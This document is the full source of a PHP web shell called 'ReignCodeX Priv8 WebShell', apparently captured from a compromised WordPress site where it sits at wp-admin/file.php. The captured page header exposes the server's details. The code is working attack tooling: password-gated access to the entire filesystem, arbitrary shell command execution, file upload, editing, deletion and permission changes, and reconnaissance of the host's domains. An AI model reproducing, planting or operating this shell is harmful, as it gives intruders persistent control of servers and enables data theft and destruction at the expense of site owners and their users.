HEX
Server: Apache/2
System: Linux server1 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64
User: prospack (1044)
PHP: 8.0.30
Disabled: eval, exec, apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, openlog, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec,syslog, system, xmlrpc_entity_decode,show_source,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
Upload Files
File: /home/prospack/domains/prospack.com/public_html/wp-admin/file.php
<?php
/*
 * ReignCodeX - Priv8 WebShell
 *
 * Author: ReignCodeX
 */

// --- BASIC CONFIGURATION ---
define('PASSWORD', '7a8ce562a0032d58cff147df36f5c4c03f546e31f3a902183467bb81fc3e3b34'); 
define('USE_AUTH', true);
define('ALLOW_FULL_ACCESS', true);
define('ROOT_PATH', '/');

// --- END CONFIGURATION ---

@session_start();

// --- AUTHENTICATION ---
if (USE_AUTH && (!isset($_SESSION['is_logged_in']) || $_SESSION['is_logged_in'] !== true)) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
        if (hash_equals(PASSWORD, hash('sha256', md5($_POST['password'])))) {
            $_SESSION['is_logged_in'] = true;
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        } else { $login_error = "Invalid Password!"; }
    }
    http_response_code(401);
    echo <<<HTML
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>ReignCodeX Login</title><style>body{background-color:#111;color:#eee;font-family:monospace;display:flex;align-items:center;justify-content:center;height:100vh;margin:0;}.login-box{background-color:#222;border:1px solid #444;padding:2em;text-align:center;box-shadow:0 0 20px rgba(0,255,135,0.2);}h1{color:#00ff87;margin-top:0;}input[type="password"]{background-color:#333;border:1px solid #555;color:#fff;padding:10px;width:80%;}input[type="submit"]{background-color:#00ff87;color:#111;border:none;padding:10px 20px;cursor:pointer;margin-top:1em;font-weight:bold;}.error{color:#ff4444;margin-top:1em;}</style></head><body>
<div class="login-box"><h1>ReignCodeX</h1><form method="POST" action=""><input type="password" name="password" placeholder="Enter Password" autofocus><br><input type="submit" value="Login"></form>
HTML;
    if (isset($login_error)) echo '<p class="error">' . $login_error . '</p>';
    echo '</div></body></html>';
    exit;
}

// --- Default Directory on First Load ---
if (ALLOW_FULL_ACCESS && !isset($_GET['path'])) {
    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode(__DIR__));
    exit;
}

// --- HELPER FUNCTIONS ---
$base_dir = (ALLOW_FULL_ACCESS) ? rtrim(ROOT_PATH, '/') : __DIR__;
$home_dir = (ALLOW_FULL_ACCESS) ? __DIR__ : '';

function get_sanitized_path() {
    global $base_dir;
    // prefer GET, fall back to POST (forms may include path) to survive History API URL cleaning
    $path = isset($_GET['path']) ? $_GET['path'] : (isset($_POST['path']) ? $_POST['path'] : '');
    if (ALLOW_FULL_ACCESS) {
        $real_path = realpath($path);
        return $real_path === false ? $base_dir : $real_path;
    } else {
        $real_path = realpath($base_dir . '/' . $path);
        return ($real_path === false || strpos($real_path, $base_dir) !== 0) ? '' : substr($real_path, strlen($base_dir));
    }
}

function format_size($bytes) {
    if ($bytes <= 0) return '0 B';
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = floor(log($bytes, 1024));
    return number_format($bytes / (1024 ** $i), 2) . ' ' . $units[$i];
}

function format_perms_human($perms) {
    if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l';
    elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b';
    elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c';
    elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u';
        // Build a plain permission string (e.g. rwxr-xr-x) including type and special bits
        $info .= ($perms & 0x0100) ? 'r' : '-';
        $info .= ($perms & 0x0080) ? 'w' : '-';
        if ($perms & 0x0040) {
            $info .= ($perms & 0x0800) ? 's' : 'x';
        } else {
            $info .= ($perms & 0x0800) ? 'S' : '-';
        }

        // group
        $info .= ($perms & 0x0020) ? 'r' : '-';
        $info .= ($perms & 0x0010) ? 'w' : '-';
        if ($perms & 0x0008) {
            $info .= ($perms & 0x0400) ? 's' : 'x';
        } else {
            $info .= ($perms & 0x0400) ? 'S' : '-';
        }

        // other
        $info .= ($perms & 0x0004) ? 'r' : '-';
        $info .= ($perms & 0x0002) ? 'w' : '-';
        if ($perms & 0x0001) {
            $info .= ($perms & 0x0200) ? 't' : 'x';
        } else {
            $info .= ($perms & 0x0200) ? 'T' : '-';
        }

        return $info;
}

function delete_dir($dir) {
    if (!is_dir($dir)) return false;
    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) { (is_dir("$dir/$file")) ? delete_dir("$dir/$file") : unlink("$dir/$file"); }
    return rmdir($dir);
}

function recursive_copy($src, $dst) {
    if (is_dir($src)) {
        if (!is_dir($dst)) mkdir($dst);
        $files = scandir($src);
        foreach ($files as $file) { if ($file != "." && $file != "..") { recursive_copy("$src/$file", "$dst/$file"); } }
    } else if (file_exists($src)) { copy($src, $dst); }
}

$path_param = get_sanitized_path();
$current_dir = ALLOW_FULL_ACCESS ? $path_param : $base_dir . $path_param;

// Admin debug viewer (authenticated only) - convenient way to see recent debug entries
if (isset($_GET['show_debug']) && USE_AUTH && isset($_SESSION['is_logged_in']) && $_SESSION['is_logged_in'] === true) {
    $dbg = @file_get_contents(__DIR__ . '/reigncodex_debug.log');
    header('Content-Type: text/plain; charset=utf-8');
    echo "--- ReignCodeX debug log ---\n" . ($dbg === false ? "(no log or unreadable)" : $dbg);
    exit;
}

// --- AJAX ACTION HANDLING ---
if (isset($_GET['action'])) {
    ob_clean();
    $action = $_GET['action'];
    if ($action == 'get_content') {
        $file_path = $current_dir . '/' . basename($_GET['file']);
        echo file_exists($file_path) && is_readable($file_path) ? file_get_contents($file_path) : 'Error: Cannot read file.';
    } elseif ($action == 'download') {
        $file_path = $current_dir . '/' . basename($_GET['file']);
        if (file_exists($file_path) && is_readable($file_path)) {
            header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file_path) . '"'); header('Expires: 0');
            header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file_path));
            readfile($file_path);
        }
    } elseif ($action == 'ajax_cmd' && isset($_POST['cmd'])) {
        if (!function_exists('shell_exec')) { echo "Error: shell_exec function is disabled."; exit; }
        $cmd = $_POST['cmd'];
        $output = shell_exec("cd " . escapeshellarg($current_dir) . " && " . $cmd . " 2>&1");
        echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
    }
    exit;
}

// --- POST ACTION HANDLING ---
$action_message = ''; $error_message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Temporary debug log to help trace failing actions - safe (only keys, filenames, path)
    $debug_log = __DIR__ . '/reigncodex_debug.log';
    try {
        $dbg_entry = [
            'time' => date('c'),
            'remote' => $_SERVER['REMOTE_ADDR'] ?? 'cli',
            'action_raw' => $_POST['action'] ?? $_POST['bulk_action'] ?? '[none]',
            'path_post' => $_POST['path'] ?? null,
            'post_keys' => array_keys($_POST),
            'files_keys' => isset($_FILES) ? array_keys($_FILES) : [],
        ];
        @file_put_contents($debug_log, json_encode($dbg_entry) . PHP_EOL, FILE_APPEND | LOCK_EX);
    
        if (!isset($_POST['csrf_token']) || !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) { throw new Exception("Invalid request."); }
        $action = $_POST['action'] ?? '';
        $selected_items = $_POST['selected_items'] ?? [];
        if (!empty($selected_items) && isset($_POST['bulk_action'])) { $action = $_POST['bulk_action']; }

        switch ($action) {
            case 'logout': session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit;
            case 'upload':
                if (isset($_FILES['files'])) {
                    $count = 0;
                    foreach ($_FILES['files']['name'] as $i => $name) {
                        if ($_FILES['files']['error'][$i] === UPLOAD_ERR_OK) { move_uploaded_file($_FILES['files']['tmp_name'][$i], $current_dir . '/' . basename($name)); $count++; }
                    }
                    $action_message = "$count file(s) uploaded.";
                }
                break;
            case 'create_dir': case 'create_file':
                $name = trim($_POST['name']);
                if (!empty($name) && !preg_match('/[\/\\\\]/', $name)) {
                    $path = $current_dir . '/' . $name;
                    if ($action === 'create_dir' ? mkdir($path) : touch($path)) {
                        $action_message = ($action === 'create_dir' ? "Directory" : "File") . " '{$name}' created.";
                        if ($action === 'create_file') {
                            // mark the newly created file so we can open it in the editor after redirect
                            $_SESSION['open_file'] = $name;
                        }
                    
                    } else { throw new Exception("Failed to create."); }
                } else { throw new Exception("Invalid name."); }
                break;
            case 'delete':
                $items = !empty($selected_items) ? $selected_items : [$_POST['item']];
                $count = 0;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $path = $current_dir . '/' . $item;
                    if (is_dir($path) ? delete_dir($path) : unlink($path)) $count++;
                }
                $action_message = "$count item(s) deleted.";
                break;
            case 'rename':
                $old = $_POST['old_name']; $new = $_POST['new_name'];
                if (!empty($old) && !empty($new)) {
                    if (rename($current_dir . '/' . $old, $current_dir . '/' . $new)) { $action_message = "Renamed '{$old}' to '{$new}'.";
                    } else { throw new Exception("Failed to rename."); }
                }
                break;
            case 'edit':
                $file = $_POST['file']; $content = $_POST['content'];
                if (file_put_contents($current_dir . '/' . $file, $content) !== false) { $action_message = "File '{$file}' saved.";
                } else { throw new Exception("Failed to save file."); }
                break;
            case 'chmod':
                $item = $_POST['item']; $perms = $_POST['perms'];
                if (chmod($current_dir . '/' . $item, octdec($perms))) { $action_message = "Permissions for '{$item}' changed to {$perms}.";
                } else { throw new Exception("Failed to change permissions."); }
                break;
            case 'copy': case 'move':
                $dest_path = $_POST['destination_path'];
                $dest_full_path = realpath($dest_path);
                if ($dest_full_path === false || !is_dir($dest_full_path)) throw new Exception("Destination directory does not exist.");
                $count = 0;
                foreach ($selected_items as $item) {
                    $src = $current_dir . '/' . $item;
                    $dst = $dest_full_path . '/' . $item;
                    if ($action === 'move') { if (rename($src, $dst)) $count++; } else { recursive_copy($src, $dst); $count++; }
                }
                $action_message = "$count item(s) " . ($action === 'move' ? 'moved' : 'copied') . " to '" . htmlspecialchars($dest_full_path) . "'.";
                break;
            case 'unzip':
                $file = $_POST['file'];
                if (class_exists('ZipArchive') && pathinfo($file, PATHINFO_EXTENSION) === 'zip') {
                    $zip = new ZipArchive;
                    if ($zip->open($current_dir . '/' . $file) === TRUE) {
                        $zip->extractTo($current_dir);
                        $zip->close();
                        $action_message = "File '{$file}' extracted.";
                    } else { throw new Exception("Failed to extract zip file."); }
                }
                break;
        }
        // Log outcome of action for debugging
        try{
            $result_entry = [
                'time' => date('c'),
                'action' => $action,
                'path' => $current_dir,
                'message' => $action_message ?: $error_message ?: 'no_message',
            ];
            @file_put_contents($debug_log, json_encode($result_entry) . PHP_EOL, FILE_APPEND | LOCK_EX);
        }catch(
            Exception $ee){}
    } catch (Exception $e) { 
        $error_message = $e->getMessage(); 
        if (!empty($_POST)) { $error_message .= ' [POST keys: ' . implode(',', array_keys($_POST)) . ']'; }
    }
    $_SESSION['action_message'] = $action_message; $_SESSION['error_message'] = $error_message;
    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($path_param));
    exit;
}

// --- Page Render Data ---
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
if(isset($_SESSION['action_message'])) { $action_message = $_SESSION['action_message']; unset($_SESSION['action_message']); }
if(isset($_SESSION['error_message'])) { $error_message = $_SESSION['error_message']; unset($_SESSION['error_message']); }
// If a new file was created, session may contain the filename to open in editor
$open_file = '';
if (isset($_SESSION['open_file'])) { $open_file = $_SESSION['open_file']; unset($_SESSION['open_file']); }

$items = @scandir($current_dir) ?: [];
$dirs = []; $files = [];
foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    if (is_dir($current_dir . '/' . $item)) $dirs[] = $item;
    else $files[] = $item;
}

// Server info variables
$server_software = $_SERVER['SERVER_SOFTWARE'];
$php_version = phpversion();
$server_ip = $_SERVER['SERVER_ADDR'] ?? 'N/A';
$current_user = function_exists('get_current_user') ? get_current_user() : 'N/A';
$uname = php_uname('n') ?? 'N/A';
$free_space = function_exists('disk_free_space') ? format_size(@disk_free_space($current_dir)) : 'N/A';
$total_space = function_exists('disk_total_space') ? format_size(@disk_total_space($current_dir)) : 'N/A';
// Attempt to count configured domains (cPanel specific, may not work on all systems)
$domain_count = 'N/A';
if (is_readable('/etc/trueuserdomains')) {
    $domain_count = count(file('/etc/trueuserdomains'));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ReignCodeX Priv8 WebShell</title>
    <style>
        :root{--bg-color:#1a1a1a;--text-color:#c5c5c5;--primary-color:#00ff87;--secondary-color:#444;--border-color:#333;--hover-bg:#2a2a2a; --red-color: #ff7878;}
        body{background-color:var(--bg-color);color:var(--text-color);font-family:'Consolas','Menlo','monospace';margin:0;font-size:14px;}
        .container{width:95%;max-width:1400px;margin:20px auto;background-color:#222;padding:20px;border:1px solid var(--border-color);box-shadow:0 0 25px rgba(0,255,135,0.1);}
        .header{text-align:center;margin-bottom:0;}
        .header h1{color:var(--primary-color);margin:0;letter-spacing:2px;font-size:40px;font-weight:bold;text-shadow:0 0 15px rgba(0,255,135,0.4);font-family:'Arial Black', 'Trebuchet MS', sans-serif;}
        .header .subtitle{color:#ff9999;font-size:18px;margin:8px 0 20px 0;letter-spacing:1px;font-style:italic;}
        .server-info{background-color:#111;border:1px solid var(--border-color);padding:12px;margin-bottom:20px;font-size:15px;display:flex;flex-direction:column;gap:8px;text-align:left;}
        .server-info span{margin-right:0;} .server-info b{color:var(--primary-color);}
        .nav-tabs{display:flex;justify-content:center;position:relative;border-bottom:1px solid var(--secondary-color);margin-bottom:15px; align-items: center;}
        .nav-tabs form.logout-form{position:absolute;right:0;}
        .nav-tabs button,.nav-tabs a{background:transparent;border:none;border-bottom:2px solid transparent;color:var(--text-color);padding:10px 15px;cursor:pointer;font-size:14px;text-decoration:none; display: inline-block;}
            .nav-tabs button:hover,.nav-tabs a:hover{color:var(--primary-color);border-bottom-color:var(--primary-color);background-color:rgba(0,255,135,0.1);border-radius:3px;}
        .breadcrumbs{padding:10px;background-color:#2a2a2a;margin-bottom:15px;border:1px solid var(--border-color); word-wrap: break-word; color: #ffffff;}
        .breadcrumbs a{color: #ffffff; text-decoration:none;} .breadcrumbs a:hover{color:var(--primary-color);}
        .file-table{width:100%;border-collapse:collapse;}
        .file-table th{background-color:#2a2a2a;color:var(--primary-color);}
        .file-table th,.file-table td{padding:10px;text-align:left;border-bottom:1px solid var(--border-color);}
            .file-table{font-size:15px;}
    .file-table tbody tr:hover{background-color:var(--hover-bg);}
    /* Ensure long filenames wrap instead of breaking layout */
    .file-table .name-col{display:flex;align-items:center;cursor:pointer;word-break:break-word;overflow-wrap:anywhere;white-space:normal;max-width:400px;} .file-table .name-col svg{margin-right:10px;fill:var(--text-color);width:16px;height:16px;flex-shrink:0;}
    .file-table td {word-break:break-word;overflow-wrap:anywhere;}
            .file-table .dir-link{cursor: pointer;} .file-table .dir-link svg{fill:var(--primary-color);} .file-table .dir-link:hover{color:var(--primary-color);}
    .perms-col span{font-weight:bold;} .perm-ok{color:#67e067;} .perm-deny{color:#ff4d4d;} .perm-none{color:#555;}
            .actions-col button,.actions-col a{margin-right:10px;background:none;border:none;cursor:pointer;padding:5px 10px;font-family:inherit;font-size:14px;color:var(--text-color);text-decoration:none;border-radius:3px;transition:all 0.2s;}
        .actions-col button:hover,.actions-col a:hover{color:var(--primary-color);}
            .actions-col button:hover{background-color:rgba(0,255,135,0.1);}
        
        /* Mobile/Tablet Responsive Design */
        @media (max-width: 1024px) {
            .container{width:98%;padding:15px;}
                .file-table th,.file-table td{padding:10px;font-size:14px;}
            .file-table .name-col svg{width:14px;height:14px;}
                .actions-col button,.actions-col a{margin-right:5px;font-size:13px;padding:4px 8px;}
            #bulk-actions-bar button{padding:6px 10px;font-size:11px;}
        }
        @media (max-width: 768px) {
                body{font-size:13px;}
            .container{width:99%;padding:10px;margin:10px auto;}
                .header h1{font-size:20px;}
                .server-info{font-size:12px;}
                .file-table th,.file-table td{padding:8px;font-size:12px;}
            .file-table .name-col svg{width:12px;height:12px;}
                .nav-tabs button,.nav-tabs a{padding:8px 10px;font-size:13px;}
                .breadcrumbs{font-size:12px;padding:8px;}
                .actions-col button,.actions-col a{margin-right:3px;font-size:11px;padding:4px 8px;}
            #bulk-actions-bar{padding:6px;}
                #bulk-actions-bar button{padding:6px 10px;font-size:11px;}
            .modal-content.modal-small{width:95%;}
                .modal-buttons button{padding:10px 16px;font-size:13px;margin-left:5px;}
        }
        @media (max-width: 480px) {
                body{font-size:12px;}
            .container{padding:8px;margin:5px auto;}
                .header h1{font-size:18px;margin:0 0 8px 0;}
                .server-info{font-size:11px;gap:3px;}
            .server-info span{margin-right:0;}
                .file-table{font-size:11px;}
                .file-table th,.file-table td{padding:6px;}
            .file-table .name-col svg{width:10px;height:10px;}
                .nav-tabs button,.nav-tabs a{padding:8px 10px;font-size:12px;}
                .breadcrumbs{font-size:11px;padding:6px;}
            .actions-col{display:flex;gap:3px;flex-wrap:wrap;}
                .actions-col button,.actions-col a{margin-right:0;font-size:10px;padding:4px 6px;}
            #bulk-actions-bar{padding:4px;gap:4px;}
                #bulk-actions-bar button{padding:6px 8px;font-size:10px;}
            .modal-content{padding:15px;}
            .modal-content.modal-large{width:98vw;height:95vh;}
            .modal-content.modal-small{width:98%;}
                .modal-content textarea,.modal-content input[type="text"]{font-size:13px;padding:10px;}
                .modal-buttons button{padding:8px 12px;font-size:12px;margin-left:3px;}
        }
        
        .modal{display:none;position:fixed;z-index:1000;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,0.7);align-items:center;justify-content:center;}
    .modal-content{background-color:#282c34;padding:20px;border:1px solid #555;display:flex;flex-direction:column;overflow:auto;}
    /* Make large modals (edit/view/cmd) with balanced sizing */
    .modal-content.modal-large{width:72vw; max-width:1000px; height:65vh; max-height:75vh;}
        .modal-content.modal-small{width:90%; max-width: 600px;}
        .modal-content h2{margin-top:0;color:var(--primary-color);}
    .modal-content textarea, .modal-content input[type="text"], .modal-content input[type="password"], .modal-content select {width:100%;background-color:#21252b;color:#abb2bf;border:1px solid #555;padding:10px;font-family:inherit;margin:6px 0;box-sizing:border-box;border-radius:4px;}
        .modal-content textarea, .modal-content input[type="text"], .modal-content input[type="password"], .modal-content select {font-size:14px;}
        .modal-content input[type="file"]{padding:10px;font-size:14px;color:#abb2bf;background-color:#21252b;border:2px dashed #00ff87;border-radius:4px;cursor:pointer;transition:all 0.3s;}
        .modal-content input[type="file"]:hover{border-color:#5dade2;background-color:#2a2f3a;}
    /* Textarea should remain large inside the modal; modal will scroll if needed */
    .modal-content textarea{flex-grow:1; resize:vertical; min-height:300px; max-height:none; overflow:auto;}
    .modal-buttons{margin-top:15px;text-align:right;}
    .modal-buttons button{padding:12px 24px;border:none;cursor:pointer;margin-left: 10px;font-size:15px;border-radius:4px;transition:all 0.2s;font-weight:500;}
    /* CMD input form run button sizing */
    #cmd-input-form button{padding:12px 20px;margin-left:10px;font-size:15px;border-radius:4px;transition:all 0.2s;font-weight:500;}
        .btn-primary{background-color:var(--primary-color);color:#111;font-weight:bold;transition:all 0.2s;}
        .btn-primary:hover{background-color:#00e67e;box-shadow:0 0 10px rgba(0,255,135,0.4);}
        .btn-secondary{background-color:var(--secondary-color);color:#fff;transition:all 0.2s;}
        .btn-secondary:hover{background-color:#555;background-color:rgba(255,255,255,0.1);}
    /* Limit CMD output size so it doesn't consume the full viewport */
    #cmd-output{background-color:#111;color:var(--text-color);width:98%;flex-grow:1;border:1px solid var(--border-color);overflow-y:auto;padding:10px;white-space:pre-wrap;word-wrap:break-word;height:400px;max-height:500px;font-size:13px;border-radius:4px;}
        #cmd-input-form{display:flex;gap:10px;margin-top:15px;}
        #cmd-input{flex-grow:1;border-right:0;}
        .message{padding:10px;margin-bottom:15px;border:1px solid;}
        .message.success{background-color:#1a3c2a;color:#a1e0b5;border-color:#387b51;}
        .message.error{background-color:#4d1c1c;color:#f8b0b0;border-color:#a13d3d;}
        .footer{text-align:center;margin-top:30px;font-size:14px;color:#999;padding:20px;background:rgba(0,255,135,0.03);}
        .footer p{margin:8px 0;font-weight:400;letter-spacing:0.3px;}
        .footer a{display:inline-flex;align-items:center;justify-content:center;width:40px;height:40px;color:var(--primary-color);text-decoration:none;margin:0 6px;transition:all 0.3s;background-color:rgba(0,255,135,0.08);border-radius:50%;} 
        .footer a:hover{color:#fff;background-color:var(--primary-color);transform:translateY(-3px);box-shadow:0 6px 15px rgba(0,255,135,0.3);}
        .footer svg{width:20px;height:20px;fill:currentColor;vertical-align:middle;transition:all 0.3s;}
        .footer a:hover svg{transform:scale(1.1);}
    </style>
</head>
<body>
    <div class="container">
        <header class="header">
            <h1>ReignCodeX</h1><br>
            <div class="subtitle">Priv8 WebShell</div>
            <div class="server-info">
                <span><b>Server IP:</b> <?php echo $server_ip; ?></span>
                <span><b>Web Server:</b> <?php echo $server_software; ?></span>
                <span><b>PHP:</b> <?php echo $php_version; ?></span>
                <span><b>User:</b> <?php echo $current_user; ?></span>
                <span><b>Uname:</b> <?php echo $uname; ?></span>
                <span><b>Domains:</b> <?php echo $domain_count; ?></span>
                <span><b>Disk:</b> <?php echo $free_space; ?> Free / <?php echo $total_space; ?> Total</span>
            </div>
        </header>
        <nav class="nav-tabs">
            <a href="?path=<?php echo urlencode($home_dir); ?>">[Home]</a>
            <a href="javascript:void(0)" onclick="showModal('uploadModal')">[Upload]</a>
            <a href="javascript:void(0)" onclick="showModal('newDirModal')">[New Dir]</a>
            <a href="javascript:void(0)" onclick="showModal('newFileModal')">[New File]</a>
            <a href="javascript:void(0)" onclick="showModal('cmdModal')">[CMD]</a>
            <?php if(USE_AUTH): ?><form class="logout-form" method="post"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><button type="submit" name="action" value="logout">[Logout]</button></form><?php endif; ?>
        </nav>
        <div class="breadcrumbs">
            <span style="color:var(--primary-color);font-weight:bold;">Path:</span>
            <?php
                $path_parts = array_filter(explode('/', $current_dir));
                if (count($path_parts) > 0) {
                    $cpath = '';
                    // render as /part1/part2/ without extra spaces between slashes
                    echo '<a href="?path=/">/</a>';
                    foreach ($path_parts as $part) {
                        $cpath .= '/' . $part;
                        echo '<a href="?path=' . urlencode($cpath) . '">' . htmlspecialchars($part) . '</a>' . '/';
                    }
                }
            ?>
            <span style="margin-left:20px;font-weight:bold;color:<?php echo is_writable($current_dir) ? '#67e067' : '#ff4d4d'; ?>;"><?php echo is_writable($current_dir) ? '[Writable]' : '[Not Writable]'; ?></span>
        </div>
        <?php if ($action_message): ?><div class="message success"><?php echo htmlspecialchars($action_message); ?></div><?php endif; ?>
        <?php if ($error_message): ?><div class="message error"><?php echo htmlspecialchars($error_message); ?></div><?php endif; ?>

        <form method="post" id="main-form">
            <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
            <input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>">
            <div id="bulk-actions-bar" style="display:none; padding:8px; background-color:#2a2a2a; border:1px solid var(--border-color); margin-bottom:10px; border-radius:4px; flex-wrap:wrap; gap:6px;">
                <button type="button" onclick="showCopyMoveModal('copy')" style="padding:10px 16px; background-color:#5dade2; color:#fff; border:none; cursor:pointer; border-radius:4px; font-size:13px; font-weight:500; transition:all 0.2s;">Copy</button>
                <button type="button" onclick="showCopyMoveModal('move')" style="padding:10px 16px; background-color:#f8c471; color:#111; border:none; cursor:pointer; border-radius:4px; font-size:13px; font-weight:500; transition:all 0.2s;">Move</button>
                <button type="submit" name="bulk_action" value="delete" onclick="return confirm('Delete selected items?')" style="padding:10px 16px; background-color:#ff7878; color:#fff; border:none; cursor:pointer; border-radius:4px; font-size:13px; font-weight:500; transition:all 0.2s;">Delete</button>
            </div>
            <table class="file-table">
                <thead><tr><th><input type="checkbox" id="select-all"></th><th>Name</th><th>Size</th><th>Modified</th><th>Permissions</th><th>Actions</th></tr></thead>
                <tbody>
                    <?php if ($current_dir !== '/'): ?><tr><td></td><td colspan="5" class="name-col dir-link" onclick="window.location.href='?path=<?php echo urlencode(dirname($current_dir)); ?>'"><svg viewBox="0 0 24 24"><path d="M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm-1 12H5V8h14v10z"/></svg>[ .. ]</td></tr><?php endif; ?>
                    <?php foreach ($dirs as $dir): $path = $current_dir.'/'.$dir; $perms = @fileperms($path); ?>
                    <tr>
                        <td><input type="checkbox" name="selected_items[]" value="<?php echo htmlspecialchars($dir); ?>"></td>
                        <td class="name-col dir-link" onclick="window.location.href='?path=<?php echo urlencode($path); ?>'"><svg viewBox="0 0 24 24"><path d="M10 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8l-2-2z"/></svg><?php echo htmlspecialchars($dir); ?></td>
                        <td>-</td><td><?php echo date('Y-m-d H:i:s', @filemtime($path)); ?></td><td class="perms-col"><?php echo '<span class="'.((($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002)) ? 'perm-ok' : 'perm-deny').'">'.format_perms_human($perms).'</span>'; ?></td>
                        <td class="actions-col">
                            <button type="button" onclick="showRenameModal('<?php echo htmlspecialchars($dir); ?>')">Rename</button>
                            <button type="button" onclick="showChmodModal('<?php echo htmlspecialchars($dir); ?>', '<?php echo substr(sprintf('%o', $perms), -4); ?>')">Chmod</button>
                            <button type="button" class="delete-btn" data-item="<?php echo htmlspecialchars($dir); ?>">Delete</button>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                    <?php foreach ($files as $file): $path = $current_dir.'/'.$file; $perms = @fileperms($path); ?>
                    <tr>
                        <td><input type="checkbox" name="selected_items[]" value="<?php echo htmlspecialchars($file); ?>"></td>
                        <td class="name-col" onclick="showViewModal('<?php echo htmlspecialchars($file); ?>')"><svg viewBox="0 0 24 24"><path d="M6 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8l-6-6H6zm7 7V4l5 5h-5z"/></svg><?php echo htmlspecialchars($file); ?></td>
                        <td><?php echo format_size(@filesize($path)); ?></td><td><?php echo date('Y-m-d H:i:s', @filemtime($path)); ?></td><td class="perms-col"><?php echo '<span class="'.((($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002)) ? 'perm-ok' : 'perm-deny').'">'.format_perms_human($perms).'</span>'; ?></td>
                        <td class="actions-col">
                            <button type="button" onclick="showEditModal('<?php echo htmlspecialchars($file); ?>')">Edit</button>
                            <a href="?action=download&path=<?php echo urlencode($path_param); ?>&file=<?php echo urlencode($file); ?>">Download</a>
                            <?php if(pathinfo($file, PATHINFO_EXTENSION) === 'zip'): ?><button type="button" class="unzip-btn" data-item="<?php echo htmlspecialchars($file); ?>">Unzip</button><?php endif; ?>
                            <button type="button" onclick="showRenameModal('<?php echo htmlspecialchars($file); ?>')">Rename</button>
                            <button type="button" onclick="showChmodModal('<?php echo htmlspecialchars($file); ?>', '<?php echo substr(sprintf('%o', $perms), -4); ?>')">Chmod</button>
                            <button type="button" class="delete-btn" data-item="<?php echo htmlspecialchars($file); ?>">Delete</button>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </form>
        <form id="file-action-form" method="post" style="display:none;">
            <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
            <input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>">
            <input type="hidden" name="action">
            <input type="hidden" name="item">
        </form>
    </div>

    <div id="uploadModal" class="modal"><div class="modal-content modal-small"><form method="post" enctype="multipart/form-data"><h2>Upload Files</h2><input type="hidden" name="action" value="upload"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="file" name="files[]" multiple required><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Upload</button></div></form></div></div>
    <div id="newDirModal" class="modal"><div class="modal-content modal-small"><form method="post"><h2>New Directory</h2><input type="hidden" name="action" value="create_dir"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="text" name="name" placeholder="Directory name" required autofocus><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Create</button></div></form></div></div>
